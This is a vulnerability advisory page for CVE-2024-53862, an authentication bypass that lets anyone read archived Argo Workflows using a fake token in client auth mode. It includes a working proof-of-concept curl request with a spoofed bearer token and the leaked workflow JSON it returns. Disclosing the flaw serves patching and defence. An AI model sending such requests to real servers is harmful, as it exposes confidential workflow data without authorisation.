🛡️ CVE-2024-53862 — argo-workflows

🟡 CVSS 5.0 — Medium ⚠️ Exploit Public CWE-200 OSV
5.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Access to Archived Argo Workflows with Fake Token in client mode

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.

However, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a kubectl auth can-i](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

```yaml

config: |

persistence:

archive: true

postgresql:

database: argoworkflows

host: db-host

passwordSecret:

key: postgresPassword

name: argo-wf-postgres-credentials

port: 5432

tableName: argo_workflows

userNameSecret:

key: username

name: argo-wf-postgres-credentials

```

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

```sh

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

```

<details><summary>Results in a returned workflow:</summary>

```

  • Host localhost:8000 was resolved.
  • IPv6: ::1
  • IPv4: 127.0.0.1
  • Trying [::1]:8000...
  • Connected to localhost (::1) port 8000

> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1

> Host: localhost:8000

> User-Agent: curl/8.7.1

> Accept: */*

> Authorization: Bearer thisisatest

>

  • Request completely sent off

< HTTP/1.1 200 OK

< Content-Type: application/json

< Grpc-Metadata-Content-Type: application/grpc

< X-Ratelimit-Limit: 1000

< X-Ratelimit-Remaining: 999

< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC

< Date: Mon, 19 Aug 2024 20:44:26 GMT

< Transfer-Encoding: chunked

<

  • Connection #0 to host localhost left intact

{

"metadata": {

"name": "hello-world-7tv5g",

"generateName": "hello-world-",

"namespace": "argo",

"uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",

"resourceVersion": "9982",

"generation": 3,

"creationTimestamp": "2024-08-13T23:59:20Z",

"labels": {

"workflows.argoproj.io/archive-strategy": "false",

"workflows.argoproj.io/completed": "true",

"workflows.argoproj.io/phase": "Succeeded",

"workflows.argoproj.io/workflow-archiving-status": "Persisted"

},

"annotations": {

"workflows.argoproj.io/description": "This is a simple hello world example.\n",

"workflows.argoproj.io/pod-name-format": "v2"

},

"managedFields": [

{

"manager": "argo",

"operation": "Update",

"apiVersion": "argoproj.io/v1alpha1",

"time": "2024-08-13T23:59:20Z",

"fieldsType": "FieldsV1",

"fieldsV1": {

"f:metadata": {

"f:annotations": {

".": {},

"f:workflows.argoproj.io/description": {}

},

"f:generateName": {},

"f:labels": {

".": {},

"f:workflows.argoproj.io/archive-strategy": {}

}

},

"f:spec": {}

}

},

{

"manager": "work

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2024-53862 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.

Affected software

CVE-2024-53862 is recorded against 4 packages.

  • argo-workflows
  • github.com/argoproj/argo-workflows
  • github.com/argoproj/argo-workflows/v2
  • github.com/argoproj/argo-workflows/v3

Timeline and source

Published on 14 April 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
nvd.nist.gov (Web)

CVE-2024-53862 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 5.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-200
Public Exploit ⚠️ Yes
Source OSV
Published 2025-04-14
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
argo-workflows
github.com/argoproj/argo-workflows
github.com/argoproj/argo-workflows/v2
github.com/argoproj/argo-workflows/v3

Similar Threats

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